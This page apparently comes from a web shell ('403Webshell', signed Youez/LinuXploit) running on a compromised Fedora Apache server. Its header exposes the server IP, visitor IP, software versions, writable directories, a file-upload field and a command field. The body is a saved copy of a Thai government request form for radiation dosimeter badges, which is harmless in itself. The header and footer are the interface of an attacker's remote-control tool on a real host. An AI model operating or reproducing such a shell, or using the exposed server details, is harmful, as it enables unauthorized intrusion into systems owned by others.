403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Menu_Dent/Doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Menu_Dent/Doc/สำนักรังสีและเครื่องมือแพทย์ _ DMSC.html
<!DOCTYPE html>
<!-- saved from url=(0036)https://osl.dmsc.moph.go.th/osl/form -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="author" content="wewillapp.com">
        <meta name="keywords" content="สำนักรังสี, เครื่องมือแพทย์, กระทรวงสาธารณะสุข">
        <meta name="robots" content="INDEX,FOLLOW">
        <meta name="msvalidate.01" content="">
                <title>สำนักรังสีและเครื่องมือแพทย์ | DMSC</title>
                <link href="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/bootstrap.min.css" rel="stylesheet">
        <!--<link href="/font-awesome/css/font-awesome.min.css" rel="stylesheet">-->
        <link href="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/css" rel="stylesheet" type="text/css">
        <link href="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/lightbox.css" rel="stylesheet">
        <link type="text/css" rel="stylesheet" href="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/lightslider.css">
        <link href="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/custom.css" rel="stylesheet">
        <script src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/polyfiller.js.download"></script>
        <script>
            $(document).ready(function () {
                $('#myCarouselCompany').carousel({
                    interval: 4000
                })
                $('.fdi-Carousel .item').each(function () {
                    var next = $(this).next();
                    if (!next.length) {
                        next = $(this).siblings(':first');
                    }
                    next.children(':first-child').clone().appendTo($(this));

                    for (var i = 0; i < 2; i++) {
                        next = next.next();
                        if (!next.length) {
                            next = $(this).siblings(':first');
                        }

                        next.children(':first-child').clone().appendTo($(this));
                    }
                });
            });
        </script>
    </head>
    <body>
        <header>
            <nav class="navbar navbar-default navbar-custom navbar-margin">
                <div class="container-fluid bg-navbar">
                    <img class="logo-navbar" src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/logo.png" alt="">
                    <div class="navbar-header">
                        <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false">
                            <span class="sr-only">Toggle navigation</span>
                            <span class="icon-bar"></span>
                            <span class="icon-bar"></span>
                            <span class="icon-bar"></span>
                        </button>

                    </div>
                    <div class="collapse navbar-collapse navbar-right" id="bs-example-navbar-collapse-1">
                        <ul class="nav navbar-nav head-menu-right head-menu-res">
                            <li class="border-menu"><a class="font-color-menu " href="https://osl.dmsc.moph.go.th/">หน้าแรก</a></li>
                            <li class="dropdown border-menu">
                                <a href="https://osl.dmsc.moph.go.th/osl/form#" class="dropdown-toggle font-color-menu " data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">บริการ <span class="caret"></span></a>
                                <ul class="dropdown-menu">
                                    <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/osl">กรอกแบบคำขอออนไลน์</a></li>
                                    <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/maintenance">อัตราค่าบำรุงการตรวจวิเคราะห์</a></li>
                                </ul>
                            </li>
                            <li class="dropdown border-menu">
                                <a href="https://osl.dmsc.moph.go.th/osl/form#" class="dropdown-toggle font-color-menu " data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">ข่าวสาร/กิจกรรม <span class="caret"></span></a>
                                <ul class="dropdown-menu">
                                    <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/news">ประชาสัมพันธ์</a></li>
                                    <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/activity">กิจกรรม</a></li>
                                </ul>
                            </li>
                            <li class="dropdown border-menu">
                                <a href="https://osl.dmsc.moph.go.th/osl/form#" class="dropdown-toggle font-color-menu " data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">คำแนะนำ <span class="caret"></span></a>
                                <ul class="dropdown-menu">
                                                                        <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/suggestMenu/6/%E0%B8%8A%E0%B8%B3%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%87%E0%B8%B4%E0%B8%99%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B9%81%E0%B8%9C%E0%B9%88%E0%B8%99%E0%B8%AB%E0%B8%B2%E0%B8%A2">ชำระเงินค่าแผ่นหาย</a></li>
                                                                        <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/suggestMenu/5/Hp(10),-Hp(0.07)-%E0%B9%81%E0%B8%A5%E0%B8%B0Hp(3)-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3">Hp(10), Hp(0.07) และHp(3) คืออะไร</a></li>
                                                                        <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/suggestMenu/4/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B9%81%E0%B8%9C%E0%B9%88%E0%B8%99%E0%B8%A7%E0%B8%B1%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%87%E0%B8%AA%E0%B8%B5%E0%B9%82%E0%B8%AD%E0%B9%80%E0%B8%AD%E0%B8%AA%E0%B9%81%E0%B8%AD%E0%B8%A5">การใช้แผ่นวัดรังสีโอเอสแอล</a></li>
                                                                        <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/suggestMenu/3/%E0%B8%82%E0%B8%AD%E0%B9%80%E0%B8%9B%E0%B8%A5%E0%B8%B5%E0%B9%88%E0%B8%A2%E0%B8%99%E0%B9%81%E0%B8%9B%E0%B8%A5%E0%B8%87%E0%B8%A3%E0%B8%B2%E0%B8%A2%E0%B8%8A%E0%B8%B7%E0%B9%88%E0%B8%AD,-%E0%B8%A2%E0%B8%81%E0%B9%80%E0%B8%A5%E0%B8%B4%E0%B8%81-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B9%80%E0%B8%9E%E0%B8%B4%E0%B9%88%E0%B8%A1%E0%B8%A3%E0%B8%B2%E0%B8%A2%E0%B8%8A%E0%B8%B7%E0%B9%88%E0%B8%AD">ขอเปลี่ยนแปลงรายชื่อ, ยกเลิก และเพิ่มรายชื่อ</a></li>
                                                                        <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/suggestMenu/2/%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B8%AD%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%82%E0%B8%AD%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%9A%E0%B8%A3%E0%B8%B4%E0%B8%81%E0%B8%B2%E0%B8%A3">ขั้นตอนการขอรับบริการ</a></li>
                                                                        <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/suggestMenu/1/%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B8%AD%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%8A%E0%B8%B3%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%87%E0%B8%B4%E0%B8%99">ขั้นตอนการชำระเงิน</a></li>
                                                                    </ul>
                            </li>
                            <li class="dropdown border-menu">
                                <a href="https://osl.dmsc.moph.go.th/osl/form#" class="dropdown-toggle font-color-menu " data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">ติดต่อเรา <span class="caret"></span></a>
                                <ul class="dropdown-menu">
                                    <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/contact">ข้อมูลการติดต่อ</a></li>
                                    <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/faq">ความรู้ด้านรังสี (FAQ)</a></li>
                                    <li><a class="sub-menu" href="https://osl.dmsc.moph.go.th/question">ถาม - ตอบ</a></li>
                                </ul>
                            </li>
                                                        <li class="border-menu-right">
                                <a class="font-color-menu-right " href="https://osl.dmsc.moph.go.th/login">เข้าสู่ระบบ</a>
                                <a class="font-color-menu-right " href="https://osl.dmsc.moph.go.th/register">สมัครสมาชิก</a>
                            </li>
                                                                                </ul>
                    </div>
                </div>
            </nav>
        </header>
        <div class="container-fluid">
    <div class="row bg-sub-head">
        <p class="sub-head">หน้าแรก &gt; กรอกแบบคำขอออนไลน์ &gt; <span class="sub-head-font">กรอกข้อมูล</span></p>
    </div>
</div>
<div class="container-fluid oslform-container">
    <div class="row oslform-row-title">
        <h1 class="oslform-font-title">แบบคำขอรับบริการแผ่นวัดรังสีโอเอสแอลออนไลน์</h1>
    </div>
    <form method="POST" action="https://osl.dmsc.moph.go.th/oslForm">
        <input type="hidden" name="_token" value="ZxdzweQSoOWoRpztM82yM5PI4HYx6jOWvgn4nOVK">
        <div class="row oslform-row-form">
            <div class="col-sm-4">
                <p><b>สำหรับผู้รับบริการที่ใช้ครั้งแรก</b></p>
                <input type="radio" name="amount_use" value="ใช้เป็นครั้ง (ครั้งละ 250.-สูงสุด 3 เดือน/ครั้ง)"> ใช้เป็นครั้ง (ครั้งละ 250.-สูงสุด 3 เดือน/ครั้ง)<br>
                <input type="radio" name="amount_use" value="ใช้ทุกเดือน (2,000.-/แผ่น/ปี)"> ใช้ทุกเดือน (2,000.-/แผ่น/ปี)<br>
                <input type="radio" name="amount_use" value="ทุก 3 เดือน (1,000.-/แผ่น/ปี)"> ทุก 3 เดือน (1,000.-/แผ่น/ปี)
            </div>
            <div class="col-sm-8">
                <p><b>วิธีการชำระเงิน</b></p>
                <div class="row oslform-row-payment">
                    <div class="col-sm-2 oslform-fill-payment">
                        <input id="payment1" type="radio" name="payment" value="1"> แคชเชียร์เช็ค
                    </div>
                    <div class="col-sm-5 oslform-fill-payment">
                        <p>จำนวน <input id="price1" type="text" name="price1"> บาท</p>
                    </div>
                    <div class="col-sm-5 oslform-fill-payment">
                        <p>วันที่ชำระ <input id="pay_date1" type="date" name="pay_date1"></p>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-2 oslform-fill-payment">
                        <input id="payment2" type="radio" name="payment" value="2"> ตั๋วแลกเงิน
                    </div>
                    <div class="col-sm-5 oslform-fill-payment">
                        <p>จำนวน <input id="price2" type="text" name="price2"> บาท</p>
                    </div>
                    <div class="col-sm-5 oslform-fill-payment">
                        <p>วันที่ชำระ <input id="pay_date2" type="date" name="pay_date2"></p>
                    </div>
                </div>
            </div>
        </div>
        <hr>
        <div class="row oslform-row-form">
            <div class="col-sm-4">
                <p><b>1. สถานที่ขอรับบริการ</b></p>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>ชื่อผู้ประสานงาน</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="name">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>ชื่อหน่วยงาน</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="rso_name">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>แผนก/ฝ่าย</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="part">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>กลุ่มงาน</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="group">
                    </div>
                </div>
            </div>
            <div class="col-sm-4">
                <p><b>ที่อยู่สถานที่ขอรับบริการ</b></p>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>เลขที่</p> 
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="number">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>อาคาร/นิคม</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="building">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>หมู่ที่</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="village">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>ซอย</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="soi">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>ถนน</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="road">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>แขวง/ตำบล</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="district">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>อำเภอ/เขต</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="amphur">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>จังหวัด</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="province">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>รหัสไปรษณีย์</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="postcode">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>ประเทศ</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="country">
                    </div>
                </div>
            </div>
            <div class="col-sm-4">
                <p><b>ข้อมูลติดต่อสถานที่ขอรับบริการ</b></p>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>โทรศัพท์</p> 
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="tel">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>โทรสาร</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="fax">
                    </div>
                </div><br>
                <div class="row">
                    <div class="col-sm-4 oslform-fill-place">
                        <p>Email Address</p>
                    </div>
                    <div class="col-sm-6 oslform-fill-place">
                        <input type="text" name="email">
                    </div>
                </div>
            </div>
        </div>
        <hr>
        <div class="row oslform-row-form">
            <div class="col-sm-12">
                <p><b>2. ชนิดเครื่องกำเนิดรังสี/แหล่งกำเนิดรังสี</b></p>
            </div>
            <div class="col-sm-12 oslform-rgcheck-row">
                <!--<p><input id="rg-condition" type="checkbox" name="rg_check" value="1"> เครื่องกำเนิดรังสี</p>-->
                <p>เครื่องกำเนิดรังสี</p>
            </div>
            <div id="generator-form">
                <div class="col-sm-3 oslform-rgcheck-row">
                    <p>ชื่อเครื่อง <input id="rg-name" type="text" name="rg[0][name]"></p>
                </div>
                <div class="col-sm-4 oslform-rgcheck-row">
                    <p>ความต่างศักย์สูงสุด <input id="rg-kv" type="text" name="rg[0][kv]"> kV(max)</p>
                </div>
                <div class="col-sm-4 oslform-rgcheck-row">
                    <p>กระแสสูงสุด <input id="rg-ma" type="text" name="rg[0][ma]"> mA(max)</p>
                </div>
                <div class="col-sm-1">
                    <img id="btn-generator" class="btn-generator" src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/Asset11.svg">
                </div>
            </div>
            <div class="col-sm-12 oslform-rgcheck-row">
                <!--<p><input id="rs-condition" type="checkbox" name="rs_check" value="1"> แหล่งกำเนิดรังสี</p>-->
                <p>แหล่งกำเนิดรังสี</p>
            </div>
            <div id="source-form">
                <div class="col-sm-4 oslform-rgcheck-row">
                    <p>ชื่อสารกัมมันตรังสี <input id="rs-name" type="text" name="rs[0][name]"></p>
                </div>
                <div class="col-sm-4 oslform-rgcheck-row oslform-source">
                    <p>ความแรง <input id="rs-strength" type="text" name="rs[0][strength]"></p>
                    <select id="rs-unit" class="oslform-source-unit" name="rs[0][unit]">
                        <option value="">เลือกหน่วย</option>
                        <option value="kBq">kBq</option>
                        <option value="MBq">MBq</option>
                        <option value="GBq">GBq</option>
                        <option value="Bq">Bq</option>
                        <option value="mCi">mCi</option>
                        <option value="nCi">nCi</option>
                        <option value="pCi">pCi</option>
                        <option value="Ci">Ci</option>
                    </select>
                </div>
                <div class="col-sm-3 oslform-rgcheck-row">
                    <p>เมื่อวันที่ <input id="rs-date" type="date" name="rs[0][date]"></p>
                </div>
                <div class="col-sm-1">
                    <img id="btn-source" class="btn-generator" src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/Asset11.svg">
                </div>
            </div>
        </div>
        <hr>
        <div id="osl-form" class="row oslform-row-form">
            <div class="col-sm-12">
                <p><b>3. รายชื่อ</b></p>
            </div>
                        <!-- row1 -->
            <div id="add-osl-form">
                <div class="row">
                    <!--                    <div class="col-sm-1 oslform-rgcheck-row">
                                            <p style="color: #009BD3;" id="osl-number">ลำดับที่1</p>
                                        </div>-->
                    <div class="col-sm-3 oslform-rgcheck-row">
                        <p>ชื่อบุคคล <input type="text" name="osl[0][firstname]"></p>
                    </div>
                    <div class="col-sm-3 oslform-rgcheck-row">
                        <p>ชื่อสกุล <input type="text" name="osl[0][lastname]"></p>
                    </div>
                    <div class="col-sm-2 oslform-rgcheck-row">
                        <p>เพศ
<!--                            <select name="gender_id[]">
                                <option value="" disabled selected>เลือกเพศ</option>
                                                            </select> -->
<!--                            <input style="margin-left: 10px;" type="radio" name="gender_id[]" value="1"> ชาย
                            <input style="margin-left: 10px;" type="radio" name="gender_id[]" value="2"> หญิง-->
                            <input class="text-year-osl" type="text" name="osl[0][gender]">
                        </p>
                    </div>
                    <div class="col-sm-3 oslform-rgcheck-row">
                        <p>ปีเกิดพ.ศ.
                            <input class="text-year-osl" type="text" name="osl[0][born_year]">
                        </p>
                    </div>
                </div>
                <!-- end row1 -->
                <!-- row2 -->
                <div class="row">
                    <div class="col-sm-3 oslform-rgcheck-row">
                        <p>ปีที่เริ่มทำงานด้านรังสี
                            <input class="text-year-osl" type="text" name="osl[0][start_year]">
                        </p>
                    </div>
                    <div class="col-sm-5 oslform-rgcheck-row">
                        <p>วุฒิการศึกษาระบุการศึกษา<span class="oslform-edu-font">(เช่น วทบ.ฟิสิกส์)</span> <input type="text" name="osl[0][educational]"></p>
                    </div>
                    <div class="col-sm-4 oslform-rgcheck-row">
                        <p>เลขประจำตัวประชาชน <input type="text" name="osl[0][identification]"></p>
                    </div>
                </div>
                <!-- end row2 -->
                <div class="row">
                    <!-- row3 -->
                    <div class="col-sm-4 oslform-rgcheck-row">
                        <p>ตำแหน่งหน้าที่ <input type="text" name="osl[0][position_work]"></p>
                    </div>
                    <div class="col-sm-4 oslform-rgcheck-row">
                        <p>สถานที่เคยทำงานด้านรังสี <input type="text" name="osl[0][workplace]"></p>
                    </div>
                    <div class="col-sm-4 oslform-rgcheck-row">
                        <p>ระบุตำแหน่งที่ใช้ <input type="text" name="osl[0][position_use]"></p>
                    </div>
                    <div class="col-sm-4 oslform-rgcheck-row">
                        <p>จำนวน(ชุด) <input type="text" name="osl[0][amount_doc]"></p>
                    </div>
                </div>
                <!-- end row3 -->
                <p class="oslform-warning-font">***ตำแหน่งที่ใช้ให้ระบุเป็นตัวเลข เช่น 1.ลำตัว, 2.ใต้เสื้อตะกั่ว, 3.บนไทรอยด์ชีลด์, 4.ข้อมือ/ข้อนิ้ว, 5.แผ่นวัดรังสีควบคุม</p>
            </div>
        </div>
        <div class="row">
            <div class="col-sm-12 text-center">
                <img id="btn-osl" class="btn-add-formosl" src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/add.svg">
            </div>
        </div>
        <div class="row oslform-row-form">
            <div class="col-sm-12 oslform-rgcheck-row">
                <p>รวมทั้งหมดจำนวน <input type="text" name="total_doc"> ชุด</p>
            </div>
        </div>
        <div class="row oslform-row-form">
            <h4 style="color: #009BD3;"><u>เงื่อนไขขอรับบริการ</u></h4>
            <p>หากทำแผ่นรังสีเสียหายหรือชำรุด ผู้รับบริการต้องชำระเงินค่าแผ่นฯ(ราคาแผ่นละ 1,000 บาท)ที่งานคลัง อาคาร14 ชั้น6
                กรมวิทยาศาสตร์การแพทย์ ผู้รับบริการจะถูกระงับการใช้บริการชั่วคราวจนกว่าจะชำระค่าแผ่นฯที่สูญหายหรือชำรุด</p>
            <div class="text-center">
                <p style="color: #009BD3;"><input type="checkbox" name="condition" id="condition"> <u>ข้าพเจ้ารับทราบเงื่อนไขขอรับบริการและยินดีปฏิบัติตาม</u></p>
            </div>
        </div>
        <div class="row oslform-row-form text-center">
            <button type="reset" class="btn btn-default oslform-btn" id="reset">รีเซต</button>
            <button type="submit" class="btn btn-primary oslform-btn" id="submit_form" disabled="">ส่งข้อมูล</button>
        </div>
    </form>
</div>
        <!-- footer -->
        <div class="container-fluid footer-bottom">
            <div class="row bg-footer">
                <div class="col-md-6 img-logo-footer">
                    <img class="logo-footer" src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/footer.png" alt="">
                </div>
                <div class="col-md-6 contact-footer">
                    <p>88/7 หมู่4 ซอยติวานนท์14 ถนนติวานนท์ ตำบลตลาดขวัญ อำเภอเมือง จังหวัดนนทบุรี 11000</p>
                    <p>โทรศัพท์ 02-951-0000 ต่อ 99851-53 มือถือ 081-825-7412 โทรสาร 02-951-1028</p>
                    <p>Email: OSL.DMSC@hotmail.com, Brmd.osl@dmsc.mail.go.th</p>
                </div>
            </div>
            <div class="row bg-copyright">
                ©Copyright 2017. Bureau of Radiation and Medical Device
            </div>
        </div>

<!--<script src="/js/jquery/jquery.min.js"></script>-->
        <script src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/jquery.min.js.download"></script>
        <script src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/bootstrap.min.js.download"></script>
        <script src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/lightbox.js.download"></script>
        <script src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/lightslider.js.download"></script>
        <script src="./สำนักรังสีและเครื่องมือแพทย์ _ DMSC_files/custom.js.download"></script>
    
<div id="lightboxOverlay" class="lightboxOverlay" style="display: none;"></div><div id="lightbox" class="lightbox" style="display: none;"><div class="lb-outerContainer"><div class="lb-container"><img class="lb-image" src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="><div class="lb-nav"><a class="lb-prev" href="https://osl.dmsc.moph.go.th/osl/form"></a><a class="lb-next" href="https://osl.dmsc.moph.go.th/osl/form"></a></div><div class="lb-loader"><a class="lb-cancel"></a></div></div></div><div class="lb-dataContainer"><div class="lb-data"><div class="lb-details"><span class="lb-caption"></span><span class="lb-number"></span></div><div class="lb-closeContainer"><a class="lb-close"></a></div></div></div></div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit